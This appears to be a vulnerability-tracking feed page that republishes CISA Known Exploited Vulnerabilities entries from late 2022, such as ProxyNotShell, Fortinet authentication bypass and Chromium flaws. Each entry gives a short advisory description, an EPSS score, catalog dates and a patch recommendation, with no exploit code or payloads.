Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium GPU Heap Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2022-4135 Google Chromium GPU Heap Buffer Overflow Vulnerability (Nov 28, 2022). Google Chromium GPU contains a heap buffer overflow vulnerability that allows a remote attacker, who has compromised the renderer process, to potentially perform a sandbox escape via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera. EPSS 31.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-4135&date=2026-10-25). Sources: CISA KEV entry CVE-2022-4135: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-4135&date=2026-10-25 CISA added this entry on 2022-11-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 28, 2022; federal due date Dec 19, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Mark of the Web (MOTW) Security Feature Bypass Vulnerability https://kevwire.com/record/CVE-2022-41049 Microsoft Windows Mark of the Web (MOTW) Security Feature Bypass Vulnerability (Nov 14, 2022). Microsoft Windows Mark of the Web (MOTW) contains a security feature bypass vulnerability resulting in a limited loss of integrity and availability of security features. EPSS 2.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-41049&date=2026-10-25). Sources: CISA KEV entry CVE-2022-41049: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-41049&date=2026-10-25 CISA added this entry on 2022-11-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 14, 2022; federal due date Dec 9, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Mark of the Web (MOTW) Security Feature Bypass Vulnerability https://kevwire.com/record/CVE-2022-41091 Microsoft Windows Mark of the Web (MOTW) Security Feature Bypass Vulnerability (Nov 8, 2022). Microsoft Windows Mark of the Web (MOTW) contains a security feature bypass vulnerability resulting in a limited loss of integrity and availability of security features. EPSS 1.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-41091&date=2026-10-25). Sources: CISA KEV entry CVE-2022-41091: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-41091&date=2026-10-25 CISA added this entry on 2022-11-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 8, 2022; federal due date Dec 9, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Print Spooler Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2022-41073 Microsoft Windows Print Spooler Privilege Escalation Vulnerability (Nov 8, 2022). Microsoft Windows Print Spooler contains an unspecified vulnerability that allows an attacker to gain SYSTEM-level privileges. EPSS 2.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-41073&date=2026-10-25). Sources: CISA KEV entry CVE-2022-41073: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-41073&date=2026-10-25 CISA added this entry on 2022-11-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 8, 2022; federal due date Dec 9, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows CNG Key Isolation Service Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2022-41125 Microsoft Windows CNG Key Isolation Service Privilege Escalation Vulnerability (Nov 8, 2022). Microsoft Windows Cryptographic Next Generation (CNG) Key Isolation Service contains an unspecified vulnerability that allows an attacker to gain SYSTEM-level privileges. EPSS 3.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-41125&date=2026-10-25). Sources: CISA KEV entry CVE-2022-41125: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-41125&date=2026-10-25 CISA added this entry on 2022-11-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 8, 2022; federal due date Dec 9, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Scripting Languages Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2022-41128 Microsoft Windows Scripting Languages Remote Code Execution Vulnerability (Nov 8, 2022). Microsoft Windows contains an unspecified vulnerability in the JScript9 scripting language which allows for remote code execution. EPSS 24.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-41128&date=2026-10-25). Sources: CISA KEV entry CVE-2022-41128: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-41128&date=2026-10-25 CISA added this entry on 2022-11-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 8, 2022; federal due date Dec 9, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Samsung Mobile Devices Improper Access Control Vulnerability https://kevwire.com/record/CVE-2021-25337 Samsung Mobile Devices Improper Access Control Vulnerability (Nov 8, 2022). Samsung mobile devices contain an improper access control vulnerability in clipboard service which allows untrusted applications to read or write arbitrary files. This vulnerability was chained with CVE-2021-25369 and CVE-2021-25370. EPSS 2.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-25337&date=2026-10-25). Sources: CISA KEV entry CVE-2021-25337: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-25337&date=2026-10-25 CISA added this entry on 2022-11-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 8, 2022; federal due date Nov 29, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Samsung Mobile Devices Improper Access Control Vulnerability https://kevwire.com/record/CVE-2021-25369 Samsung Mobile Devices Improper Access Control Vulnerability (Nov 8, 2022). Samsung mobile devices using Mali GPU contains an improper access control vulnerability in sec_log file. Exploitation of the vulnerability exposes sensitive kernel information to the userspace. This vulnerability was chained with CVE-2021-25337 and CVE-2021-25370. EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-25369&date=2026-10-25). Sources: CISA KEV entry CVE-2021-25369: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-25369&date=2026-10-25 CISA added this entry on 2022-11-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 8, 2022; federal due date Nov 29, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Samsung Mobile Devices Memory Corruption Vulnerability https://kevwire.com/record/CVE-2021-25370 Samsung Mobile Devices Memory Corruption Vulnerability (Nov 8, 2022). Samsung mobile devices using Mali GPU contain an incorrect implementation handling file descriptor in dpu driver. This incorrect implementation results in memory corruption, leading to kernel panic. This vulnerability was chained with CVE-2021-25337 and CVE-2021-25369. EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-25370&date=2026-10-25). Sources: CISA KEV entry CVE-2021-25370: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-25370&date=2026-10-25 CISA added this entry on 2022-11-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 8, 2022; federal due date Nov 29, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium V8 Type Confusion Vulnerability https://kevwire.com/record/CVE-2022-3723 Google Chromium V8 Type Confusion Vulnerability (Oct 28, 2022). Google Chromium V8 Engine contains a type confusion vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera. EPSS 7.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-3723&date=2026-10-25). Sources: CISA KEV entry CVE-2022-3723: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-3723&date=2026-10-25 CISA added this entry on 2022-10-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 28, 2022; federal due date Nov 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple iOS and iPadOS Out-of-Bounds Write Vulnerability https://kevwire.com/record/CVE-2022-42827 Apple iOS and iPadOS Out-of-Bounds Write Vulnerability (Oct 25, 2022). Apple iOS and iPadOS kernel contain an out-of-bounds write vulnerability which can allow an application to perform code execution with kernel privileges. EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-42827&date=2026-10-25). Sources: CISA KEV entry CVE-2022-42827: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-42827&date=2026-10-25 CISA added this entry on 2022-10-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 25, 2022; federal due date Nov 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco AnyConnect Secure Mobility Client for Windows DLL Hijacking Vulnerability https://kevwire.com/record/CVE-2020-3433 Cisco AnyConnect Secure Mobility Client for Windows DLL Hijacking Vulnerability (Oct 24, 2022). Cisco AnyConnect Secure Mobility Client for Windows interprocess communication (IPC) channel allows for insufficient validation of resources that are loaded by the application at run time. An attacker with valid credentials on Windows could execute code on the affected machine with SYSTEM privileges. EPSS 10.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-3433&date=2026-10-25). Sources: CISA KEV entry CVE-2020-3433: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-3433&date=2026-10-25 CISA added this entry on 2022-10-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 24, 2022; federal due date Nov 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco AnyConnect Secure Mobility Client for Windows Uncontrolled Search Path Vulnerability https://kevwire.com/record/CVE-2020-3153 Cisco AnyConnect Secure Mobility Client for Windows Uncontrolled Search Path Vulnerability (Oct 24, 2022). Cisco AnyConnect Secure Mobility Client for Windows allows for incorrect handling of directory paths. An attacker with valid credentials on Windows would be able to copy malicious files to arbitrary locations with system level privileges. This could include DLL pre-loading, DLL hijacking, and other related attacks. EPSS 28.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-3153&date=2026-10-25). Sources: CISA KEV entry CVE-2020-3153: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-3153&date=2026-10-25 CISA added this entry on 2022-10-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 24, 2022; federal due date Nov 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### GIGABYTE Multiple Products Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2018-19323 GIGABYTE Multiple Products Privilege Escalation Vulnerability (Oct 24, 2022). The GPCIDrv and GDrv low-level drivers in GIGABYTE App Center, AORUS Graphics Engine, XTREME Gaming Engine, and OC GURU expose functionality to read and write arbitrary physical memory. This could be leveraged by a local attacker to elevate privileges. EPSS 8.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-19323&date=2026-10-25). Sources: CISA KEV entry CVE-2018-19323: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-19323&date=2026-10-25 CISA added this entry on 2022-10-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 24, 2022; federal due date Nov 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### GIGABYTE Multiple Products Code Execution Vulnerability https://kevwire.com/record/CVE-2018-19322 GIGABYTE Multiple Products Code Execution Vulnerability (Oct 24, 2022). The GPCIDrv and GDrv low-level drivers in GIGABYTE App Center, AORUS Graphics Engine, XTREME Gaming Engine, and OC GURU II expose functionality to read/write data from/to IO ports. This could be leveraged in a number of ways to ultimately run code with elevated privileges. EPSS 1.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-19322&date=2026-10-25). Sources: CISA KEV entry CVE-2018-19322: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-19322&date=2026-10-25 CISA added this entry on 2022-10-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 24, 2022; federal due date Nov 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### GIGABYTE Multiple Products Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2018-19321 GIGABYTE Multiple Products Privilege Escalation Vulnerability (Oct 24, 2022). The GPCIDrv and GDrv low-level drivers in GIGABYTE App Center, AORUS Graphics Engine, XTREME Gaming Engine, and OC GURU II expose functionality to read and write arbitrary physical memory. This could be leveraged by a local attacker to elevate privileges. EPSS 3.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-19321&date=2026-10-25). Sources: CISA KEV entry CVE-2018-19321: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-19321&date=2026-10-25 CISA added this entry on 2022-10-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 24, 2022; federal due date Nov 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### GIGABYTE Multiple Products Unspecified Vulnerability https://kevwire.com/record/CVE-2018-19320 GIGABYTE Multiple Products Unspecified Vulnerability (Oct 24, 2022). The GDrv low-level driver in GIGABYTE App Center, AORUS Graphics Engine, XTREME Gaming Engine, and OC GURU II exposes ring0 memcpy-like functionality that could allow a local attacker to take complete control of the affected system. EPSS 4.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-19320&date=2026-10-25). Sources: CISA KEV entry CVE-2018-19320: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-19320&date=2026-10-25 CISA added this entry on 2022-10-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 24, 2022; federal due date Nov 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Synacor Zimbra Collaboration Suite (ZCS) Arbitrary File Upload Vulnerability https://kevwire.com/record/CVE-2022-41352 Synacor Zimbra Collaboration Suite (ZCS) Arbitrary File Upload Vulnerability (Oct 20, 2022). Synacor Zimbra Collaboration Suite (ZCS) allows an attacker to upload arbitrary files using cpio package to gain incorrect access to any other user accounts. EPSS 95.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-41352&date=2026-10-25). Sources: CISA KEV entry CVE-2022-41352: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-41352&date=2026-10-25 CISA added this entry on 2022-10-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 20, 2022; federal due date Nov 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Linux Kernel Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2021-3493 Linux Kernel Privilege Escalation Vulnerability (Oct 20, 2022). The overlayfs stacking file system in Linux kernel does not properly validate the application of file capabilities against user namespaces, which could lead to privilege escalation. EPSS 49.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-3493&date=2026-10-25). Sources: CISA KEV entry CVE-2021-3493: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-3493&date=2026-10-25 CISA added this entry on 2022-10-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 20, 2022; federal due date Nov 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Fortinet Multiple Products Authentication Bypass Vulnerability https://kevwire.com/record/CVE-2022-40684 Fortinet Multiple Products Authentication Bypass Vulnerability (Oct 11, 2022). Fortinet FortiOS, FortiProxy, and FortiSwitchManager contain an authentication bypass vulnerability that could allow an unauthenticated attacker to perform operations on the administrative interface via specially crafted HTTP or HTTPS requests. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-40684&date=2026-10-25). Sources: CISA KEV entry CVE-2022-40684: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-40684&date=2026-10-25 CISA added this entry on 2022-10-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 11, 2022; federal due date Nov 1, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows COM+ Event System Service Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2022-41033 Microsoft Windows COM+ Event System Service Privilege Escalation Vulnerability (Oct 11, 2022). Microsoft Windows COM+ Event System Service contains an unspecified vulnerability that allows for privilege escalation. EPSS 1.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-41033&date=2026-10-25). Sources: CISA KEV entry CVE-2022-41033: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-41033&date=2026-10-25 CISA added this entry on 2022-10-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 11, 2022; federal due date Nov 1, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Exchange Server Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2022-41082 Microsoft Exchange Server Remote Code Execution Vulnerability (Sep 30, 2022). Microsoft Exchange Server contains an unspecified vulnerability that allows for authenticated remote code execution. Dubbed "ProxyNotShell," this vulnerability is chainable with CVE-2022-41040 which allows for the remote code execution. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-41082&date=2026-10-25). Sources: CISA KEV entry CVE-2022-41082: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-41082&date=2026-10-25 CISA added this entry on 2022-09-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 30, 2022; federal due date Oct 21, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Exchange Server Server-Side Request Forgery Vulnerability https://kevwire.com/record/CVE-2022-41040 Microsoft Exchange Server Server-Side Request Forgery Vulnerability (Sep 30, 2022). Microsoft Exchange Server allows for server-side request forgery. Dubbed "ProxyNotShell," this vulnerability is chainable with CVE-2022-41082 which allows for remote code execution. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-41040&date=2026-10-25). Sources: CISA KEV entry CVE-2022-41040: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-41040&date=2026-10-25 CISA added this entry on 2022-09-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 30, 2022; federal due date Oct 21, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Atlassian Bitbucket Server and Data Center Command Injection Vulnerability https://kevwire.com/record/CVE-2022-36804 Atlassian Bitbucket Server and Data Center Command Injection Vulnerability (Sep 30, 2022). Multiple API endpoints of Atlassian Bitbucket Server and Data Center contain a command injection vulnerability where an attacker with access to a public Bitbucket repository, or with read permissions to a private one, can execute code by sending a malicious HTTP request. EPSS 99.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-36804&date=2026-10-25). Sources: CISA KEV entry CVE-2022-36804: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-36804&date=2026-10-25 CISA added this entry on 2022-09-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 30, 2022; federal due date Oct 21, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Sophos Firewall Code Injection Vulnerability https://kevwire.com/record/CVE-2022-3236 Sophos Firewall Code Injection Vulnerability (Sep 23, 2022). A code injection vulnerability in the User Portal and Webadmin of Sophos Firewall allows for remote code execution. EPSS 98.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-3236&date=2026-10-25). Sources: CISA KEV entry CVE-2022-3236: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-3236&date=2026-10-25 CISA added this entry on 2022-09-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 23, 2022; federal due date Oct 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Zoho ManageEngine Multiple Products Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2022-35405 Zoho ManageEngine Multiple Products Remote Code Execution Vulnerability (Sep 22, 2022). Zoho ManageEngine PAM360, Password Manager Pro, and Access Manager Plus contain an unspecified vulnerability that allows for remote code execution. EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-35405&date=2026-10-25). Sources: CISA KEV entry CVE-2022-35405: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-35405&date=2026-10-25 CISA added this entry on 2022-09-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 22, 2022; federal due date Oct 13, 2022. Evidence: 